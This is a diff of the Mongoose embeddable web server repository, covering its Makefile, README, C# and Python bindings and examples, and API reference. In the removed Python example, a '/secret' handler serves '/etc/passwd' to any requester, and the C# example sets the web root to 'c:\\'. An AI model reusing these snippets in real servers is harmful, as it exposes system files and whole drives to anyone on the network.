it under the terms of the GNU General Public License version 2 as
|
||||
published by the Free Software Foundation. For the terms of this
|
||||
license, see http://www.gnu.org/licenses.
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
You are free to use this code under the terms of the GNU General
|
||||
Public License, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU General Public License for more details.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
Alternatively, you can license this code under a commercial
|
||||
license, as set out in http://cesanta.com/products.html.
|
||||
@@ -1,146 +0,0 @@
|
||||
# This file is part of Mongoose project, http://code.google.com/p/mongoose
|
||||
# $Id: Makefile 473 2009-09-02 11:20:06Z valenok $
|
||||
|
||||
PROG= mongoose
|
||||
|
||||
all:
|
||||
@echo "make (linux|bsd|solaris|mac|windows|mingw)"
|
||||
|
||||
# Possible COPT values: (in brackets are rough numbers for 'gcc -O2' on i386)
|
||||
# -DHAVE_MD5 - use system md5 library (-2kb)
|
||||
# -DNDEBUG - strip off all debug code (-5kb)
|
||||
# -DDEBUG - build debug version (very noisy) (+7kb)
|
||||
# -DNO_CGI - disable CGI support (-5kb)
|
||||
# -DNO_SSL - disable SSL functionality (-2kb)
|
||||
# -DCONFIG_FILE=\"file\" - use `file' as the default config file
|
||||
# -DHAVE_STRTOUI64 - use system strtoui64() function for strtoull()
|
||||
# -DSSL_LIB=\"libssl.so.<version>\" - use system versioned SSL shared object
|
||||
# -DCRYPTO_LIB=\"libcrypto.so.<version>\" - use system versioned CRYPTO so
|
||||
|
||||
|
||||
##########################################################################
|
||||
### UNIX build: linux, bsd, mac, rtems
|
||||
##########################################################################
|
||||
|
||||
CFLAGS = -W -Wall -std=c99 -pedantic -O2 $(COPT)
|
||||
MAC_SHARED = -flat_namespace -bundle -undefined suppress
|
||||
LINFLAGS = -ldl -pthread $(CFLAGS)
|
||||
LIB = _$(PROG).so
|
||||
#CC = g++
|
||||
|
||||
# Make sure that the compiler flags come last in the compilation string.
|
||||
# If not so, this can break some on some Linux distros which use
|
||||
# "-Wl,--as-needed" turned on by default in cc command.
|
||||
# Also, this is turned in many other distros in static linkage builds.
|
||||
linux:
|
||||
$(CC) mongoose.c -shared -fPIC -fpic -o $(LIB) $(LINFLAGS)
|
||||
$(CC) mongoose.c main.c -o $(PROG) $(LINFLAGS)
|
||||
|
||||
bsd:
|
||||
$(CC) mongoose.c -shared -pthread -fpic -fPIC -o $(LIB) $(CFLAGS)
|
||||
$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
|
||||
|
||||
mac:
|
||||
$(CC) mongoose.c -pthread -o $(LIB) $(MAC_SHARED) $(CFLAGS)
|
||||
$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
|
||||
|
||||
solaris:
|
||||
gcc mongoose.c -pthread -lnsl \
|
||||
-lsocket -fpic -fPIC -shared -o $(LIB) $(CFLAGS)
|
||||
gcc mongoose.c main.c -pthread -lnsl -lsocket -o $(PROG) $(CFLAGS)
|
||||
|
||||
|
||||
##########################################################################
|
||||
### WINDOWS build: Using Visual Studio or Mingw
|
||||
##########################################################################
|
||||
|
||||
# Using Visual Studio 6.0. To build Mongoose:
|
||||
# o Set VC variable below to where VS 6.0 is installed on your system
|
||||
# o Run "PATH_TO_VC6\bin\nmake windows"
|
||||
|
||||
VC= z:
|
||||
CYA= y:
|
||||
#DBG= /Zi /DDEBUG /Od
|
||||
DBG= /DNDEBUG /O1
|
||||
CL= cl /MD /TC /nologo $(DBG) /Gz /W3 /DNO_SSL_DL
|
||||
GUILIB= user32.lib shell32.lib
|
||||
LINK= /link /incremental:no /libpath:$(VC)\lib /subsystem:windows \
|
||||
ws2_32.lib advapi32.lib cyassl.lib
|
||||
CYAFL = /c /I $(CYA)/include -I $(CYA)/include/openssl \
|
||||
/I $(CYA)/ctaocrypt/include /D _LIB /D OPENSSL_EXTRA
|
||||
|
||||
CYASRC= \
|
||||
$(CYA)/src/cyassl_int.c \
|
||||
$(CYA)/src/cyassl_io.c \
|
||||
$(CYA)/src/keys.c \
|
||||
$(CYA)/src/tls.c \
|
||||
$(CYA)/src/ssl.c \
|
||||
$(CYA)/ctaocrypt/src/aes.c \
|
||||
$(CYA)/ctaocrypt/src/arc4.c \
|
||||
$(CYA)/ctaocrypt/src/asn.c \
|
||||
$(CYA)/ctaocrypt/src/coding.c \
|
||||
$(CYA)/ctaocrypt/src/ctc_asm.c \
|
||||
$(CYA)/ctaocrypt/src/ctc_misc.c \
|
||||
$(CYA)/ctaocrypt/src/cyassl_memory.c \
|
||||
$(CYA)/ctaocrypt/src/des3.c \
|
||||
$(CYA)/ctaocrypt/src/dh.c \
|
||||
$(CYA)/ctaocrypt/src/dsa.c \
|
||||
$(CYA)/ctaocrypt/src/ecc.c \
|
||||
$(CYA)/ctaocrypt/src/hc128.c \
|
||||
$(CYA)/ctaocrypt/src/hmac.c \
|
||||
$(CYA)/ctaocrypt/src/integer.c \
|
||||
$(CYA)/ctaocrypt/src/md4.c \
|
||||
$(CYA)/ctaocrypt/src/md5.c \
|
||||
$(CYA)/ctaocrypt/src/pwdbased.c \
|
||||
$(CYA)/ctaocrypt/src/rabbit.c \
|
||||
$(CYA)/ctaocrypt/src/random.c \
|
||||
$(CYA)/ctaocrypt/src/ripemd.c \
|
||||
$(CYA)/ctaocrypt/src/rsa.c \
|
||||
$(CYA)/ctaocrypt/src/sha.c \
|
||||
$(CYA)/ctaocrypt/src/sha256.c \
|
||||
$(CYA)/ctaocrypt/src/sha512.c \
|
||||
$(CYA)/ctaocrypt/src/tfm.c
|
||||
|
||||
cyassl:
|
||||
$(CL) $(CYASRC) $(CYAFL) $(DEF)
|
||||
lib *.obj /out:cyassl.lib
|
||||
|
||||
windows:
|
||||
rc win32\res.rc
|
||||
$(CL) main.c mongoose.c /GA $(LINK) win32\res.res \
|
||||
$(GUILIB) /out:$(PROG).exe
|
||||
$(CL) mongoose.c /GD $(LINK) /DLL /DEF:win32\dll.def /out:_$(PROG).dll
|
||||
|
||||
# Build for Windows under MinGW
|
||||
#MINGWDBG= -DDEBUG -O0
|
||||
MINGWDBG= -DNDEBUG -Os
|
||||
#MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT
|
||||
MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,windows $(MINGWDBG)
|
||||
mingw:
|
||||
windres win32\res.rc win32\res.o
|
||||
gcc $(MINGWOPT) mongoose.c -lws2_32 \
|
||||
-shared -Wl,--out-implib=$(PROG).lib -o _$(PROG).dll
|
||||
gcc $(MINGWOPT) mongoose.c main.c win32\res.o -lws2_32 -ladvapi32 \
|
||||
-o $(PROG).exe
|
||||
|
||||
|
||||
##########################################################################
|
||||
### Manuals, cleanup, test, release
|
||||
##########################################################################
|
||||
|
||||
man:
|
||||
groff -man -T ascii mongoose.1 | col -b > mongoose.txt
|
||||
groff -man -T ascii mongoose.1 | less
|
||||
|
||||
# "TEST=unit make test" - perform unit test only
|
||||
# "TEST=embedded" - test embedded API by building and testing test/embed.c
|
||||
# "TEST=basic_tests" - perform basic tests only (no CGI, SSI..)
|
||||
test: do_test
|
||||
do_test:
|
||||
perl test/test.pl $(TEST)
|
||||
|
||||
release: clean
|
||||
F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`.tgz ; cd .. && tar -czf x mongoose/{LICENSE,Makefile,bindings,examples,test,win32,mongoose.c,mongoose.h,mongoose.1,main.c} && mv x mongoose/$$F
|
||||
|
||||
clean:
|
||||
rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz
|
||||
@@ -0,0 +1,60 @@
|
||||
# Mongoose Web Server
|
||||
|
||||
Mongoose is easy to use, powerful, embeddable web server.
|
||||
* [Downloads](http://cesanta.com/downloads.html)
|
||||
* [Documentation](http://cesanta.com/docs.html)
|
||||
* [Mailing list](http://groups.google.com/group/mongoose-users)
|
||||
|
||||
# Features
|
||||
|
||||
- Works on Windows, Mac, UNIX/Linux, iPhone, Android, and many other platforms
|
||||
- CGI, SSL, Digest auth, Websocket, WEbDAV, Resumed download, URL rewrite, file blacklist, IP-based ACL, Windows service
|
||||
- Scripting and database support ([Lua](http://lua.org) +
|
||||
[Sqlite](http://sqlite.org), see
|
||||
[dirscan.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/dirscan.lp) ),
|
||||
which provides ready to go, powerful web development platform in
|
||||
one single-click executable with no dependencies
|
||||
- Simple and clean
|
||||
[embedding API](https://github.com/cesanta/mongoose/blob/master/mongoose.h).
|
||||
The source is in single
|
||||
[mongoose.c](https://github.com/cesanta/mongoose/blob/master/mongoose.c) file
|
||||
to make embedding easy
|
||||
- Extremely lightweight, has a core of under 40kB and tiny runtime footprint
|
||||
- Asyncronouns, non-blocking core supporting single- or multi-threaded usage
|
||||
- On the market since 2004, stable, mature and tested,
|
||||
has several man-years invested in continuous improvement and refinement
|
||||
- Professional support and consultancy available from
|
||||
[Cesanta Software](http://cesanta.com), developer of Mongoose
|
||||
|
||||
# Acknowledgements
|
||||
|
||||
Mongoose made better thanks to the contribution of following people:
|
||||
|
||||
Arnout Vandecappelle, Benoît Amiaux, Boris Pek, Cody Hanson, Colin Leitner,
|
||||
Daniel Oaks, Eric Bakan, Erik Oomen, Filipp Kovalev, Ger Hobbelt,
|
||||
Hendrik Polczynski, Igor Okulist, Jay, Joe Mucchiello, John Safranek,
|
||||
José Miguel Gonçalves, Shueng Chuan, Katerina Blinova, Konstantin Sorokin,
|
||||
Marin Atanasov, Matt Healy, Mitch Hendrickson, Nigel Stewart, Pavel Khlebovich,
|
||||
Sebastian Reinhard, Stefan Doehla, abadc0de, nullable.type,
|
||||
T.Barmann, D.Hughes, J.C.Sloan, R.Romeo, L.E.Spencer, S.Kotay, R.M.Shorter,
|
||||
W.Mar, J.Wilander, Santa from Memphis, S.Davies, C.Beck,
|
||||
O.M.Vilhunen, C.Radik, G.Woodcock, M.Szczepkowski,
|
||||
Eternal Lands Dev Team, T.Tollet, C.Tangerino, G.Karsai, A.Bourgett,
|
||||
C.Blakemore, D.Fonaryov, T.Andrle, O.IJsselmuiden, R.Womack, M.Tomlinson,
|
||||
A.Slåttå, L.Farrell, J.D.P.Ballestero, V.Albaev, B.Harker, T.Scheffel, H.Klein,
|
||||
R.Merit, T.Bennett, H.Solis, A.Zincenko, M.S., S.Krul, K.Cooke, S.McCallum,
|
||||
F.Morenius, and 10 others.
|
||||
|
||||
# Licensing
|
||||
|
||||
Mongoose is released under
|
||||
[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html).
|
||||
Businesses have an option to get non-restrictive, royalty-free commercial
|
||||
license and professional support from
|
||||
[Cesanta Software](http://cesanta.com).
|
||||
|
||||
[Frozen JSON parser](https://github.com/cesanta/frozen),
|
||||
[Super Light Regular Expression library](https://github.com/cesanta/slre),
|
||||
[Super Light DNS Resolver](https://github.com/cesanta/sldr)
|
||||
are other projects by Cesanta Software, developed with the same philosophy
|
||||
of functionality and simplicity.
|
||||
@@ -1,52 +0,0 @@
|
||||
// This is C# example on how to use Mongoose embeddable web server,
|
||||
// http://code.google.com/p/mongoose
|
||||
//
|
||||
// Before using the mongoose module, make sure that Mongoose shared library is
|
||||
// built and present in the current (or system library) directory
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Program {
|
||||
|
||||
// This function is called when user types in his browser http://127.0.0.1:8080/foo
|
||||
static private void UriHandler(MongooseConnection conn, MongooseRequestInfo ri) {
|
||||
conn.write("HTTP/1.1 200 OK\r\n\r\n");
|
||||
conn.write("Hello from C#!\n");
|
||||
conn.write("Your user-agent is: " + conn.get_header("User-Agent") + "\n");
|
||||
}
|
||||
|
||||
static private void UriDumpInfo(MongooseConnection conn, MongooseRequestInfo ri)
|
||||
{
|
||||
conn.write("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n");
|
||||
conn.write("<html><body><head>Calling Info</head>");
|
||||
conn.write("<p>Request: " + ri.request_method + "</p>");
|
||||
conn.write("<p>URI: " + ri.uri + "</p>");
|
||||
conn.write("<p>Query: " + ri.query_string + "</p>");
|
||||
if (ri.post_data_len > 0) conn.write("<p>Post(" + ri.post_data_len + ")[@" + ri.post_data + "]: '" + Marshal.PtrToStringAnsi(ri.post_data) + "'</p>");
|
||||
conn.write("<p>User:" + ri.remote_user + "</p>");
|
||||
conn.write("<p>IP: " + ri.remote_ip + "</p>");
|
||||
conn.write("<p>HTTP: " + ri.http_version + "</p>");
|
||||
conn.write("<p>Port: " + ri.remote_port + "</p>");
|
||||
conn.write("<p>NUM Headers: " + ri.num_headers + "</p>");
|
||||
for (int i = 0; i < Math.Min(64, ri.num_headers); i++)
|
||||
{
|
||||
conn.write("<p>" + i + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].name)
|
||||
+ ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].value) + "</p>");
|
||||
}
|
||||
conn.write("</body></html>");
|
||||
}
|
||||
|
||||
static void Main() {
|
||||
Mongoose web_server = new Mongoose();
|
||||
|
||||
// Set options and /foo URI handler
|
||||
web_server.set_option("ports", "8080");
|
||||
web_server.set_option("root", "c:\\");
|
||||
web_server.set_uri_callback("/foo", new MongooseCallback(UriHandler));
|
||||
web_server.set_uri_callback("/dumpinfo", new MongooseCallback(UriDumpInfo));
|
||||
|
||||
// Serve requests until user presses "enter" on a keyboard
|
||||
Console.ReadLine();
|
||||
}
|
||||
}
|
||||
@@ -1,134 +0,0 @@
|
||||
// Copyright (c) 2004-2009 Sergey Lyubka
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
//
|
||||
// $Id: mongoose.cs 472 2009-08-30 22:40:29Z spsone1 $
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
|
||||
public IntPtr name; // Using IntPtr here because if we use strings here,
|
||||
public IntPtr value; // it won't be properly marshalled.
|
||||
};
|
||||
|
||||
// This is "struct mg_request_info" from mongoose.h header file
|
||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
|
||||
public string request_method;
|
||||
public string uri;
|
||||
public string http_version;
|
||||
public string query_string;
|
||||
public IntPtr post_data;
|
||||
public string remote_user;
|
||||
public int remote_ip; //int to match the 32bit declaration in c
|
||||
public int remote_port;
|
||||
public int post_data_len;
|
||||
public int status_code;
|
||||
public int num_headers;
|
||||
[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)] public MongooseHeader[] http_headers;
|
||||
};
|
||||
|
||||
// This is a delegate for mg_callback_t from mongoose.h header file
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate void MongooseCallback2(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data);
|
||||
|
||||
// This is a delegate to be used by the application
|
||||
public delegate void MongooseCallback(MongooseConnection conn, MongooseRequestInfo ri);
|
||||
|
||||
public class Mongoose {
|
||||
public string version;
|
||||
private IntPtr ctx;
|
||||
//These two events are here to store a ref to the callbacks while they are over in unmanaged code.
|
||||
private event MongooseCallback2 delegates2;
|
||||
private event MongooseCallback delegates1;
|
||||
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern IntPtr mg_start();
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_stop(IntPtr ctx);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_version();
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern int mg_set_option(IntPtr ctx, string name, string value);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_option(IntPtr ctx, string name);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_uri_callback(IntPtr ctx, string uri_regex, MulticastDelegate func, IntPtr data);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_log_callback(IntPtr ctx, MulticastDelegate func);
|
||||
|
||||
public Mongoose() {
|
||||
ctx = mg_start();
|
||||
version = mg_version();
|
||||
}
|
||||
|
||||
~Mongoose() {
|
||||
mg_stop(this.ctx);
|
||||
this.ctx = IntPtr.Zero;
|
||||
}
|
||||
|
||||
public int set_option(string option_name, string option_value) {
|
||||
return mg_set_option(this.ctx, option_name, option_value);
|
||||
}
|
||||
|
||||
public string get_option(string option_name) {
|
||||
return mg_get_option(this.ctx, option_name);
|
||||
}
|
||||
|
||||
public void set_uri_callback(string uri_regex, MongooseCallback func) {
|
||||
// Build a closure around user function. Initialize connection object there which wraps
|
||||
// mg_write() and other useful methods, and then call user specified handler.
|
||||
MongooseCallback2 callback = delegate(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data) {
|
||||
MongooseConnection connection = new MongooseConnection(conn, this);
|
||||
func(connection, ri);
|
||||
};
|
||||
// store a reference to the callback so it won't be GC'ed while its over in unmanged code
|
||||
delegates2 += callback;
|
||||
mg_set_uri_callback(this.ctx, uri_regex, callback, IntPtr.Zero);
|
||||
}
|
||||
|
||||
public void set_log_callback(MongooseCallback func) {
|
||||
delegates1 += func;
|
||||
mg_set_log_callback(this.ctx, func);
|
||||
}
|
||||
}
|
||||
|
||||
public class MongooseConnection {
|
||||
public Mongoose mongoose;
|
||||
private IntPtr conn;
|
||||
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_header(IntPtr ctx, string name);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_var(IntPtr ctx, string name);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_free(IntPtr ptr);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] public static extern int mg_write(IntPtr conn, string data, int length);
|
||||
|
||||
public MongooseConnection(IntPtr conn_, Mongoose mongoose_) {
|
||||
mongoose = mongoose_;
|
||||
conn = conn_;
|
||||
}
|
||||
|
||||
public string get_header(string header_name) {
|
||||
return mg_get_header(this.conn, header_name);
|
||||
}
|
||||
|
||||
public string get_var(string header_name) {
|
||||
string s = mg_get_var(this.conn, header_name);
|
||||
string copy = "" + s;
|
||||
mg_free(Marshal.StringToHGlobalAnsi(s));
|
||||
return copy;
|
||||
}
|
||||
|
||||
public int write(string data) {
|
||||
return mg_write(this.conn, data, data.Length);
|
||||
}
|
||||
}
|
||||
@@ -1,63 +0,0 @@
|
||||
# This is Python example on how to use Mongoose embeddable web server,
|
||||
# http://code.google.com/p/mongoose
|
||||
#
|
||||
# Before using the mongoose module, make sure that Mongoose shared library is
|
||||
# built and present in the current (or system library) directory
|
||||
|
||||
import mongoose
|
||||
import sys
|
||||
|
||||
# Handle /show and /form URIs.
|
||||
def EventHandler(event, conn):
|
||||
info = conn.info
|
||||
if event == mongoose.HTTP_ERROR:
|
||||
conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
|
||||
conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
|
||||
conn.printf('HTTP error: %d\n', info.status_code)
|
||||
return True
|
||||
elif event == mongoose.NEW_REQUEST and info.uri == '/show':
|
||||
conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
|
||||
conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
|
||||
conn.printf('%s %s\n', info.request_method, info.uri)
|
||||
if info.request_method == 'POST':
|
||||
content_len = conn.get_header('Content-Length')
|
||||
post_data = conn.read(int(content_len))
|
||||
my_var = conn.get_var(post_data, 'my_var')
|
||||
else:
|
||||
my_var = conn.get_var(info.query_string, 'my_var')
|
||||
conn.printf('my_var: %s\n', my_var or '<not set>')
|
||||
conn.printf('HEADERS: \n')
|
||||
for header in info.http_headers[:info.num_headers]:
|
||||
conn.printf(' %s: %s\n', header.name, header.value)
|
||||
return True
|
||||
elif event == mongoose.NEW_REQUEST and info.uri == '/form':
|
||||
conn.write('HTTP/1.0 200 OK\r\n'
|
||||
'Content-Type: text/html\r\n\r\n'
|
||||
'Use GET: <a href="/show?my_var=hello">link</a>'
|
||||
'<form action="/show" method="POST">'
|
||||
'Use POST: type text and submit: '
|
||||
'<input type="text" name="my_var"/>'
|
||||
'<input type="submit"/>'
|
||||
'</form>')
|
||||
return True
|
||||
elif event == mongoose.NEW_REQUEST and info.uri == '/secret':
|
||||
conn.send_file('/etc/passwd')
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
# Create mongoose object, and register '/foo' URI handler
|
||||
# List of options may be specified in the contructor
|
||||
server = mongoose.Mongoose(EventHandler,
|
||||
document_root='/tmp',
|
||||
listening_ports='8080')
|
||||
|
||||
print ('Mongoose started on port %s, press enter to quit'
|
||||
% server.get_option('listening_ports'))
|
||||
|
||||
sys.stdin.read(1)
|
||||
|
||||
# Deleting server object stops all serving threads
|
||||
print 'Stopping server.'
|
||||
del server
|
||||
@@ -1,160 +0,0 @@
|
||||
# Copyright (c) 2004-2009 Sergey Lyubka
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
#
|
||||
# $Id: mongoose.py 471 2009-08-30 14:30:21Z valenok $
|
||||
|
||||
"""
|
||||
This module provides python binding for the Mongoose web server.
|
||||
|
||||
There are two classes defined:
|
||||
|
||||
Connection: - wraps all functions that accept struct mg_connection pointer
|
||||
as first argument.
|
||||
|
||||
Mongoose: wraps all functions that accept struct mg_context pointer as
|
||||
first argument.
|
||||
|
||||
Creating Mongoose object automatically starts server, deleting object
|
||||
automatically stops it. There is no need to call mg_start() or mg_stop().
|
||||
"""
|
||||
|
||||
|
||||
import ctypes
|
||||
import os
|
||||
|
||||
|
||||
NEW_REQUEST = 0
|
||||
HTTP_ERROR = 1
|
||||
EVENT_LOG = 2
|
||||
INIT_SSL = 3
|
||||
|
||||
|
||||
class mg_header(ctypes.Structure):
|
||||
"""A wrapper for struct mg_header."""
|
||||
_fields_ = [
|
||||
('name', ctypes.c_char_p),
|
||||
('value', ctypes.c_char_p),
|
||||
]
|
||||
|
||||
|
||||
class mg_request_info(ctypes.Structure):
|
||||
"""A wrapper for struct mg_request_info."""
|
||||
_fields_ = [
|
||||
('user_data', ctypes.c_char_p),
|
||||
('request_method', ctypes.c_char_p),
|
||||
('uri', ctypes.c_char_p),
|
||||
('http_version', ctypes.c_char_p),
|
||||
('query_string', ctypes.c_char_p),
|
||||
('remote_user', ctypes.c_char_p),
|
||||
('log_message', ctypes.c_char_p),
|
||||
('remote_ip', ctypes.c_long),
|
||||
('remote_port', ctypes.c_int),
|
||||
('status_code', ctypes.c_int),
|
||||
('is_ssl', ctypes.c_int),
|
||||
('num_headers', ctypes.c_int),
|
||||
('http_headers', mg_header * 64),
|
||||
]
|
||||
|
||||
|
||||
mg_callback_t = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p)
|
||||
|
||||
|
||||
class Connection(object):
|
||||
"""A wrapper class for all functions that take
|
||||
struct mg_connection * as the first argument."""
|
||||
|
||||
def __init__(self, mongoose, connection):
|
||||
self.m = mongoose
|
||||
self.conn = ctypes.c_void_p(connection)
|
||||
self.info = self.m.dll.mg_get_request_info(self.conn).contents
|
||||
|
||||
def get_header(self, name):
|
||||
val = self.m.dll.mg_get_header(self.conn, name)
|
||||
return ctypes.c_char_p(val).value
|
||||
|
||||
def get_var(self, data, name):
|
||||
size = data and len(data) or 0
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
n = self.m.dll.mg_get_var(data, size, name, buf, size)
|
||||
return n >= 0 and buf or None
|
||||
|
||||
def printf(self, fmt, *args):
|
||||
val = self.m.dll.mg_printf(self.conn, fmt, *args)
|
||||
return ctypes.c_int(val).value
|
||||
|
||||
def write(self, data):
|
||||
val = self.m.dll.mg_write(self.conn, data, len(data))
|
||||
return ctypes.c_int(val).value
|
||||
|
||||
def read(self, size):
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
n = self.m.dll.mg_read(self.conn, buf, size)
|
||||
return n <= 0 and None or buf[:n]
|
||||
|
||||
def send_file(self, path):
|
||||
self.m.dll.mg_send_file(self.conn, path)
|
||||
|
||||
|
||||
class Mongoose(object):
|
||||
"""A wrapper class for Mongoose shared library."""
|
||||
|
||||
def __init__(self, callback, **kwargs):
|
||||
if os.name == 'nt':
|
||||
self.dll = ctypes.WinDLL('_mongoose.dll')
|
||||
else:
|
||||
self.dll = ctypes.CDLL('_mongoose.so')
|
||||
|
||||
self.dll.mg_start.restype = ctypes.c_void_p
|
||||
self.dll.mg_modify_passwords_file.restype = ctypes.c_int
|
||||
self.dll.mg_read.restype = ctypes.c_int
|
||||
self.dll.mg_write.restype = ctypes.c_int
|
||||
self.dll.mg_printf.restype = ctypes.c_int
|
||||
self.dll.mg_get_header.restype = ctypes.c_char_p
|
||||
self.dll.mg_get_var.restype = ctypes.c_int
|
||||
self.dll.mg_get_cookie.restype = ctypes.c_int
|
||||
self.dll.mg_get_option.restype = ctypes.c_char_p
|
||||
self.dll.mg_get_request_info.restype = ctypes.POINTER(mg_request_info)
|
||||
|
||||
if callback:
|
||||
# Create a closure that will be called by the shared library.
|
||||
def func(event, connection):
|
||||
# Wrap connection pointer into the connection
|
||||
# object and call Python callback
|
||||
conn = Connection(self, connection)
|
||||
return callback(event, conn) and 1 or 0
|
||||
|
||||
# Convert the closure into C callable object
|
||||
self.callback = mg_callback_t(func)
|
||||
self.callback.restype = ctypes.c_char_p
|
||||
else:
|
||||
self.callback = ctypes.c_void_p(0)
|
||||
|
||||
args = [y for x in kwargs.items() for y in x] + [None]
|
||||
options = (ctypes.c_char_p * len(args))(*args)
|
||||
|
||||
ret = self.dll.mg_start(self.callback, 0, options)
|
||||
self.ctx = ctypes.c_void_p(ret)
|
||||
|
||||
def __del__(self):
|
||||
"""Destructor, stop Mongoose instance."""
|
||||
self.dll.mg_stop(self.ctx)
|
||||
|
||||
def get_option(self, name):
|
||||
return self.dll.mg_get_option(self.ctx, name)
|
||||
+208
@@ -0,0 +1,208 @@
|
||||
# Mongoose API Reference
|
||||
|
||||
struct mg_server *mg_create_server(void *server_param);
|
||||
|
||||
Creates web server instance. Returns opaque instance pointer, or NULL if
|
||||
there is not enough memory. `server_param`: Could be any pointer, or NULL.
|
||||
This pointer will be passed
|
||||
to the callback functions as `struct mg_connection::server_param` field.
|
||||
A common use case is to pass `this` pointer of the C++ wrapper class
|
||||
as `user_param`, to let the callback get the pointer to the C++
|
||||
object.
|
||||
|
||||
Note that this function doesn't make the
|
||||
server instance to serve. Serving is done by `mg_poll_server()` function.
|
